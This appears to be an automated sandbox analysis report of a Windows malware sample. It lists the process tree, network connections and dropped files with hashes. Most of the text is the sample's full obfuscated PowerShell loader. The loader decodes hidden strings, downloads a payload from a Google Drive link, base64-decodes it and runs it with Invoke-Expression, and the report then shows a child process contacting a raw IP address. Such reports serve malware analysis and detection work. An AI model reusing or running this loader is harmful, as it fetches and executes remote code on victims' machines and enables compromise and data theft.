tigSideal F.ueoUnt abA,abiaBai,ilUdske:FiskeKUnderaImmorf ElegfFe lte SturpPaedouAut dnDu,fac S.rahXantheTogrerprs ns lgu=Sam e$atr ctS,mphrPrediu,deryevanes ') ;Pedologic59 $Scrammed;Pedologic59 (Teleskopaffjedringer 'DramaSTopputunsinaMajusrsvenntR fle- For SBursalSekveeFakkeeCoh bpProta Bache4Bevil ');Pedologic59 (Teleskopaffjedringer 'C.uga$S,mvig tilvlAnlgsoUds.lbK.yneaSten,l.naps:ProdigUnd poKtu hdepitesB.lurtUn,rooFe ongFe,lbeAbefe= Skde(Clea T lugte HuslsCanaltSbeva-KontoPP ychaV lstt Resihlando forpl$krimiC DyrehInteraSnigsnReekseVe,telSmaallAu is)Bost ') ;Pedologic59 (Teleskopaffjedringer ' Vege$ TidsgUnexcl,egreoPu teb GrooaBr enl Hypo:,owisR AkkoeD.centYeorlsBeklasTrekay oncsc pittLympheUnfixmEnepi=Ext a$ pulegGiredl almeoemb,lbGuldmaPim,elEd ti:.cecaK,urswoHva.pnnaboftKron,rTrkkro TelelFibrifFl stu.ytjenHentekTagkatUnivaiFo teoMylden rosteStretrAcephsHjovn2Ungut3Aands0Infec+Melod+Derma%Embry$Op orT urleoMitchlMorgevEksemaHstma.DikelcKoreco DomsuSnrenno ridtStats ') ;$Nydannelsen=$Tolva[$Retssystem];}$Hovedstadsregionens=324505;$Primost=29091;Pedologic59 (Teleskopaffjedringer 'Skjor$Overgg ,pkalOver.oDecapbKvivaaSynodlKr,om:HieraSre,inuB.tsepSyreneL,engrMa temUn cqnDewladBavn sS.itt H ems=B sge Rem.sGAnd,oeAlenetKlamr- She CAppeloAperinillintFormeeHeptanpretztFeud, Prech$ OverC aubeh I.enamimesnLovpreKvalil DrowlBe ns ');Pedologic59 (Teleskopaffjedringer 'Baads$FremlgSl.efl motoo MejebNetbaaPandal Brev: CyrtBp ycha RendnTryktiOarl.sUnc kt BarseSethir St eiBol inHel iereser be bn=Bekli Si e[ VotaS RastyFo tssan.ectSvbelePlatfm Anti.AarskCFo ieo iparnA gifvRa aseTredvrOplystAltin]Lrerp:famil:Si.niFSubcrrPersoo oncamReinkBScaphaChucks,orkleSynag6Ordni4Ma emS Ny ttbrnepr DemoiS btenKonkrgSuper(barr,$K.tekStyng,u reatpSyn.aeMacadrBr scmRese.n WaffdOmgresderm,)Uphea ');Pedologic59 (Teleskopaffjedringer 'Dalle$ SagegUdartlAflaaorazzebUra,salivstl nutg:.ealiCKnepaoafskyeKotallGrn.eoNonpumL.ste U.bom=Ka,tu Sand [ TenoSEfte yBussesThorot SkyleBruttm edru.VrisnTUn.roeSterrxFullatCommu.KollaELimfanBugtacOmbrioEmeridOpkr,iB atinComebgSubsp]defat: usm:VildtAT.kmaS Ex lCSkinnI yritI atte.Emb yGNonmoeB,thltPunicSAl,entF ettrTriani HegenBifidgFestp(A dic$cur aBRheinaDec,inUngdoiSexbosLiegetKal ieA.drarFabriistueanoplggeFo.an) tand ');Pedologic59 (Teleskopaffjedringer 'fores$ Uni.gKabellComicoR furb ZagraGl rilE cip:RumenHTalriuInconlTromphHobroeBagerdmidpoe.rdspn Im es erm= Puna$UnfraCVisseoTalleeAtroflk,mbioToro m M,nu.Uncons olyu Forsb Ti.hsSt ertS.bstrMistriKanonn En.ogtelep(Ansva$To.awHKonomoD agovLegateratepdSacchsFil,btundera Skuldindics MaiorH.llee Evn,gKvartiKllino o.ernGasflePlantnGlazisEnep.,Locom$ Udd P ngdorLatriiCeltom ennoC.ntrs sedrtKrigs)Wed l ');Pedologic59 $Hulhedens;"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Festivalfolket Provaccination skydeprammens Vinterleg #>;$Pliosaurus='Kneppede';<#Kvabtorsk Fremholdes Programmelkonstruktionen Florate Fantomers #>;$Adilss=$host.PrivateData;If ($Adilss) {$Macabreness++;}function Teleskopaffjedringer($Varmefordeling){$Brittles=$Varmefordeling.Length-$Macabreness;for( $Unspottable27=5;$Unspottable27 -lt $Brittles;$Unspottable27+=6){$Middelstanden+=$Varmefordeling[$Unspottable27];}$Middelstanden;}function Pedologic59($Bordellets){ & ($Epaulement) ($Bordellets);}$Kootchar=Teleskopaffjedringer 'RoyalMBer roB gumzPa,beiOranglVejl lVer ea Fabu/,etta5Mi si.sv,ke0Germi Fiske(Me hhWBibliiSneginHep.tdKa,apo TeakwupbowsSmoot StrbeN Em tTHyste Sv.ne1Skvad0Sta e. Pred0C,unt;D,odo bedgoWTax ki .yponPreco6Ru.ds4Jacul; Dron enbrxOmpla6Tea t4 a vn;Recom photorOp ylvRemis:Jager1Asyll2Futur1 xuv.Bortf0F rur)Afi.e OvergGGrandeskar.cPyralk TungoMater/Lde v2Backw0 Yuga1tykbu0He.te0 Hen.1Aller0Snowb1Pos.e andsFUnp siBnnemr P rleHulebfGeneaoSvrmex ntab/Accen1 Skyf2Weiss1Di lo. Bulk0 Hype ';$Guamuchil=Teleskopaffjedringer ' PerouVelsesMaalee Aidsr B.an- Ci eaaftesGU,streHundeNs.mmeTconsc ';$Nydannelsen=Teleskopaffjedringer 'F igrh Kam tTeleft An cpInfrasHejse:Rafle/Trak./concadB sonrCart,iinterv,oeree Refl.ResmegKokseoDestioObliggVirksl for,eGallo.Indsic Eso oKri imFran / SlbeuAntikcHafiz?Downse.bbesx AdnepQuai o orkrOutkntla un=Transdunge o.otogwstudinPraeslProsaoProsaaUnderdSwitc&Polygi steddHoyma= A ar1Trag lPla.utM sapO Act 5Alm.nCParge6Pauc,bMummeY SkroYUnpersDecla8a ignTKampuCAj gapAfson3 LentGUdeliUH demv erh5meta rReo,sTPrjs - estIHavnel P antangriSForan2 AleyyUntrum TranqFostewG,dseD etss ';$Sagsgte=Teleskopaffjedringer 'Bolsh>Outki ';$Epaulement=Teleskopaffjedringer 'GalliIdob eeUnderXcrani ';$hexastich='Enneateric';$Lecithinase = Teleskopaffjedringer 'TophueUnvocc GloihCou aoGemin Spirk%NyvuraCafflpSaddep dobodatom aCeromtMart aGge,u% deaf\Shum.B .rnea Med r.ladrdT lereP onehGallov Mu la acralHj ta.RinsaEUndernTeleszTran, Print& igfo&Chis LagereFodhvcMiasmhAp reoMikro l tet agg ';Pedologic59 (Teleskopaffjedringer 'Misdi$Ris egStolpl lukooImmi bPha aa redel Stra: tetBTransaGen ra FirmnGendad gokklTrkulgUnnergFinineGouarlCaldesEstope Ud a=F rve(HypotcPro tm ,ercd U et homp/ CraccItchw Hayco$ BoskL tofmeFuldbcBermmiUlotrtMicrohOvermiAmazonJawboaLymphsDrifteNedhu)Cl.pi ');Pedologic59 (Teleskopaffjedringer 'Kortb$Rose.gAttaclSynapoRetslbLi gyaSg.scl Imd.:SparkTPlausoJacksl.anskvfladeaHants=Bir,h$Na teNRefecyM ssadskydeaRingen Une,n RumteSt.rtlFerresMultieMo.alnTvang. PiblsMajsep Fin.lHolteimetactMuse (Verde$EfterSArchdaLithog nbuns quadgQuotatRoutie Xy o) Syst ');Pedologic59 (Teleskopaffjedringer 'Vrdie[ rftcNGlimdeRetrotC ivy.TopuiSscuffeImmatruskylv AnisiAlm ncPseudeBlaspPMixtuoIndgaiTotorn onnet DagbMRundta.ossinPseudaSliveg vume remr Un r]Apida:J,sti:,edjuSDyrsse CliqcvindmuHyrd r Trk,i ForstUnderyUnstoPBal.rrNed,koHel et BibloT,poac addoTaansl,onow Hj mm=Flau, Speak[ orsmNLser ecentrtOve,m.SkrmmSFunkte GunpcA.roauSlaverHjreciCa.kytB lloyAmaraP Mod,rSpedioBaan tScotooDatomcGrsseo D nilPaabuTUnp.myFolkepK ogleBrand]Under:Konse:O,asiTmortrlTurnbs ebra1pseud2 Amts ');$Nydannelsen=$Tolva[0];$Bengnaveres= (Teleskopaffjedringer ' Meth$QuantGMinorLB,llsOOverpBIdylla Sp rLEksp :OmrysCPosthlHovedAAfhasnDiploLTripae AnemsPeppiSHudo =PathoNFortjE ExtrwJulel-PrecoOBddelBGinnej fiduETarifCPleniTSangu skrivsTaarnyFlyttSSti nTA ailETamboMOv rw. DruknFjumreErgott.oved.Ner eWFininEGeolobVbnencPoetilVerdeiMaskie Ha.snIndkot');$Bengnaveres+=$Baandlggelse[1];Pedologic59 ($Bengnaveres);Pedologic59 (Teleskopaffjedringer 'Aktiv$Bio eC irculFortraRobinnBrestl Buffe Beh.sF.skesExost.PretrHStille DeepaSlut dAranee ynanrHiplispostv[ Ther$RefelGPopkouSun haRoudkmGymnouSp jtcAsp rhGra diFreellHurdl] larm=Fr sc$prcisK ErgooAr,aloBalnet flejcun ouhRadioa VelsrBgesp ');$Scrammed=Teleskopaffjedringer 'Bicar$Sonn,CP,oevlTer eaOpgr.n WonglGravre DamssSinlesRstis. t ivDHype oNudiswOmhygnHaplolafsliochestaUnjuddNeuraF limico ntlDiskeeSakra(Dep h$Ther NPestey egasd ExtraCharln AfrunAmathe FishlBrochsGnathe.permnParti, A li$Po,ynCRowlohAmat aSadeln c.vaeF ngilFo.dml Vogn)Charl ';$Chanell=$Baandlggelse[0];Pedologic59 (Teleskopaffjedringer 'Un.en$IndiaGRevallK preOKo dibKamufAStereLoplri:PlantGBy.niOklimpdPericSA tritUnco.oMisadgDispoE.hana=Skole( Difftsol eENedkuSFusedTU der-Prs dPRdha AHengitG neth Roug Filre$ Att CKildehDrammARe,lun Bs eeUnf oL vikil Udpo)Rerow ');while (!$godstoge) {Pedologic59 (Teleskopaffjedringer 'Ato i$Fa tigSideal F.ueoUnt abA,abiaBai,ilUdske:FiskeKUnderaImmorf ElegfFe lte SturpPaedouAut dnDu,fac S.rahXantheTogrerprs ns lgu=Sam e$atr ctS,mphrPrediu,deryevanes ') ;Pedologic59 $Scrammed;Pedologic59 (Teleskopaffjedringer 'DramaSTopputunsinaMajusrsvenntR fle- For SBursalSekveeFakkeeCoh bpProta Bache4Bevil ');Pedologic59 (Teleskopaffjedringer 'C.uga$S,mvig tilvlAnlgsoUds.lbK.yneaSten,l.naps:ProdigUnd poKtu hdepitesB.lurtUn,rooFe ongFe,lbeAbefe= Skde(Clea T lugte HuslsCanaltSbeva-KontoPP ychaV lstt Resihlando forpl$krimiC DyrehInteraSnigsnReekseVe,telSmaallAu is)Bost ') ;Pedologic59 (Teleskopaffjedringer ' Vege$ TidsgUnexcl,egreoPu teb GrooaBr enl Hypo:,owisR AkkoeD.centYeorlsBeklasTrekay oncsc pittLympheUnfixmEnepi=Ext a$ pulegGiredl almeoemb,lbGuldmaPim,elEd ti:.cecaK,urswoHva.pnnaboftKron,rTrkkro TelelFibrifFl stu.ytjenHentekTagkatUnivaiFo teoMylden rosteStretrAcephsHjovn2Ungut3Aands0Infec+Melod+Derma%Embry$Op orT urleoMitchlMorgevEksemaHstma.DikelcKoreco DomsuSnrenno ridtStats ') ;$Nydannelsen=$Tolva[$Retssystem];}$Hovedstadsregionens=324505;$Primost=29091;Pedologic59 (Teleskopaffjedringer 'Skjor$Overgg ,pkalOver.oDecapbKvivaaSynodlKr,om:HieraSre,inuB.tsepSyreneL,engrMa temUn cqnDewladBavn sS.itt H ems=B sge Rem.sGAnd,oeAlenetKlamr- She CAppeloAperinillintFormeeHeptanpretztFeud, Prech$ OverC aubeh I.enamimesnLovpreKvalil DrowlBe ns ');Pedologic59 (Teleskopaffjedringer 'Baads$FremlgSl.efl motoo MejebNetbaaPandal Brev: CyrtBp ycha RendnTryktiOarl.sUnc kt BarseSethir St eiBol inHel iereser be bn=Bekli Si e[ VotaS RastyFo tssan.ectSvbelePlatfm Anti.AarskCFo ieo iparnA gifvRa aseTredvrOplystAltin]Lrerp:famil:Si.niFSubcrrPersoo oncamReinkBScaphaChucks,orkleSynag6Ordni4Ma emS Ny ttbrnepr DemoiS btenKonkrgSuper(barr,$K.tekStyng,u reatpSyn.aeMacadrBr scmRese.n WaffdOmgresderm,)Uphea ');Pedologic59 (Teleskopaffjedringer 'Dalle$ SagegUdartlAflaaorazzebUra,salivstl nutg:.ealiCKnepaoafskyeKotallGrn.eoNonpumL.ste U.bom=Ka,tu Sand [ TenoSEfte yBussesThorot SkyleBruttm edru.VrisnTUn.roeSterrxFullatCommu.KollaELimfanBugtacOmbrioEmeridOpkr,iB atinComebgSubsp]defat: usm:VildtAT.kmaS Ex lCSkinnI yritI atte.Emb yGNonmoeB,thltPunicSAl,entF ettrTriani HegenBifidgFestp(A dic$cur aBRheinaDec,inUngdoiSexbosLiegetKal ieA.drarFabriistueanoplggeFo.an) tand ');Pedologic59 (Teleskopaffjedringer 'fores$ Uni.gKabellComicoR furb ZagraGl rilE cip:RumenHTalriuInconlTromphHobroeBagerdmidpoe.rdspn Im es erm= Puna$UnfraCVisseoTalleeAtroflk,mbioToro m M,nu.Uncons olyu Forsb Ti.hsSt ertS.bstrMistriKanonn En.ogtelep(Ansva$To.awHKonomoD agovLegateratepdSacchsFil,btundera Skuldindics MaiorH.llee Evn,gKvartiKllino o.ernGasflePlantnGlazisEnep.,Locom$ Udd P ngdorLatriiCeltom ennoC.ntrs sedrtKrigs)Wed l ');Pedologic59 $Hulhedens;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bardehval.Enz && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | drive.google.com | udp |
| US | 8.8.8.8:53 | 216.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 76.32.126.40.in-addr.arpa | udp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 238.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 225.187.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.187.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.187.227:80 | o.pki.goog | tcp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 227.187.250.142.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 215.191.184.137.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
Files
memory/1268-0-0x00007FF9CBA73000-0x00007FF9CBA75000-memory.dmp
memory/1268-1-0x0000022196D30000-0x0000022196D52000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fleqfx4b.apc.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1268-11-0x00007FF9CBA70000-0x00007FF9CC531000-memory.dmp
memory/1268-12-0x00007FF9CBA70000-0x00007FF9CC531000-memory.dmp
memory/1268-14-0x00007FF9CBA73000-0x00007FF9CBA75000-memory.dmp
memory/1268-16-0x00007FF9CBA70000-0x00007FF9CC531000-memory.dmp
memory/1268-17-0x00007FF9CBA70000-0x00007FF9CC531000-memory.dmp
memory/3240-18-0x0000000004CA0000-0x0000000004CD6000-memory.dmp
memory/3240-19-0x0000000005450000-0x0000000005A78000-memory.dmp
memory/3240-20-0x0000000005370000-0x0000000005392000-memory.dmp
memory/3240-22-0x0000000005AF0000-0x0000000005B56000-memory.dmp
memory/3240-21-0x0000000005A80000-0x0000000005AE6000-memory.dmp
memory/3240-32-0x0000000005C60000-0x0000000005FB4000-memory.dmp
memory/3240-33-0x00000000062A0000-0x00000000062BE000-memory.dmp
memory/3240-34-0x00000000062E0000-0x000000000632C000-memory.dmp
memory/3240-35-0x0000000007AF0000-0x000000000816A000-memory.dmp
memory/3240-36-0x0000000006840000-0x000000000685A000-memory.dmp
memory/3240-37-0x0000000007540000-0x00000000075D6000-memory.dmp
memory/3240-38-0x00000000074D0000-0x00000000074F2000-memory.dmp
memory/3240-39-0x0000000008720000-0x0000000008CC4000-memory.dmp
C:\Users\Admin\AppData\Roaming\Bardehval.Enz
| MD5 | e048f9895e60b14e68f76e0fcadd5d08 |
| SHA1 | 5a0e7bbb4c32a5aab5d3b85ffd49b89b745e3c8a |
| SHA256 | 5db5b10985a7f39cc9fcfc42b352709355f3b83a724b9fa24b8806c9feb3b029 |
| SHA512 | 5ef521cee99243aef2621caac9f0ae85357ee4ab84b80452dfe473d473e9a0e965717d5abd3445f73456104afbe76b6e819e666f77df4bb32b6cb7132ce069f0 |
memory/3240-41-0x0000000008CD0000-0x000000000E62F000-memory.dmp
memory/1268-42-0x00007FF9CBA70000-0x00007FF9CC531000-memory.dmp
memory/1280-43-0x0000000001000000-0x000000000695F000-memory.dmp
memory/1280-57-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/1268-61-0x00007FF9CBA70000-0x00007FF9CC531000-memory.dmp
memory/1280-58-0x0000000001000000-0x000000000695F000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |